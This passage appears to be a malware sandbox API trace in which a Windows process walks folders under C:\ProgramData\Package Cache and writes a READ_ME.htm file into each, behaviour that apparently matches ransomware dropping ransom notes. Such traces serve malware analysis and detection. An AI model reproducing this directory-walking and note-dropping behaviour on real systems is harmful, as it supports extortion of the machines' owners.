Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0139.729] SetErrorMode (uMode=0x1) returned 0x0 [0139.730] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.730] SetErrorMode (uMode=0x0) returned 0x1 [0139.730] GetFileType (hFile=0x1d0) returned 0x1 [0139.730] WriteFile (in: hFile=0x1d0, lpBuffer=0x2944b28*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2944b28*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.732] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", lpFilePart=0x0) returned 0x4f [0139.732] SetErrorMode (uMode=0x1) returned 0x0 [0139.732] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\*" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.734] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.734] SetErrorMode (uMode=0x0) returned 0x1 [0139.734] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", lpFilePart=0x0) returned 0x4f [0139.734] SetErrorMode (uMode=0x1) returned 0x0 [0139.735] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\*" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.735] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.735] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.735] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.735] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.735] SetErrorMode (uMode=0x0) returned 0x1 [0139.735] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", lpFilePart=0x0) returned 0x58 [0139.736] SetErrorMode (uMode=0x1) returned 0x0 [0139.736] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\*" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93dbc490, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93dbc490, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0139.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93dbc490, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93dbc490, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0139.736] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.736] SetErrorMode (uMode=0x0) returned 0x1 [0139.737] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", lpFilePart=0x0) returned 0x58 [0139.737] SetErrorMode (uMode=0x1) returned 0x0 [0139.737] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\*" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93dbc490, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93dbc490, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0139.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93dbc490, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93dbc490, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0139.737] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.737] SetErrorMode (uMode=0x0) returned 0x1 [0139.738] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x70 [0139.738] SetErrorMode (uMode=0x1) returned 0x0 [0139.738] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93dbc490, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93dbc490, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.738] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93dbc490, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93dbc490, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.738] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b027600, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x1b027600, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x1b027600, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x4f83ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0139.739] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0139.739] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0139.739] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.739] SetErrorMode (uMode=0x0) returned 0x1 [0139.739] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x70 [0139.739] SetErrorMode (uMode=0x1) returned 0x0 [0139.739] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93dbc490, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93dbc490, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.740] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93dbc490, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93dbc490, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.740] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b027600, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x1b027600, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x1b027600, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x4f83ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0139.740] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0139.740] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4be2ab00, ftCreationTime.dwHighDateTime=0x1d5c5bb, ftLastAccessTime.dwLowDateTime=0x4be2ab00, ftLastAccessTime.dwHighDateTime=0x1d5c5bb, ftLastWriteTime.dwLowDateTime=0x4be2ab00, ftLastWriteTime.dwHighDateTime=0x1d5c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0139.740] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.740] SetErrorMode (uMode=0x0) returned 0x1 [0139.740] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x7c [0139.740] SetErrorMode (uMode=0x1) returned 0x0 [0139.740] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\vcruntimeadditional_x86\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.741] SetErrorMode (uMode=0x0) returned 0x1 [0139.741] GetFileType (hFile=0x1d0) returned 0x1 [0139.741] WriteFile (in: hFile=0x1d0, lpBuffer=0x294f830*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x294f830*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.743] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0139.743] SetErrorMode (uMode=0x1) returned 0x0 [0139.743] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.743] SetErrorMode (uMode=0x0) returned 0x1 [0139.743] GetFileType (hFile=0x1d0) returned 0x1 [0139.743] WriteFile (in: hFile=0x1d0, lpBuffer=0x2953e90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2953e90*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.745] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\READ_ME.htm", lpFilePart=0x0) returned 0x5b [0139.745] SetErrorMode (uMode=0x1) returned 0x0 [0139.745] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.745] SetErrorMode (uMode=0x0) returned 0x1 [0139.746] GetFileType (hFile=0x1d0) returned 0x1 [0139.746] WriteFile (in: hFile=0x1d0, lpBuffer=0x29584c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29584c0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.747] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpFilePart=0x0) returned 0x4e [0139.747] SetErrorMode (uMode=0x1) returned 0x0 [0139.748] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c0163b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c0163b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.749] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c0163b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c0163b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.749] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c1b92d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c1b92d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.749] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c0163b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c1b92d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, 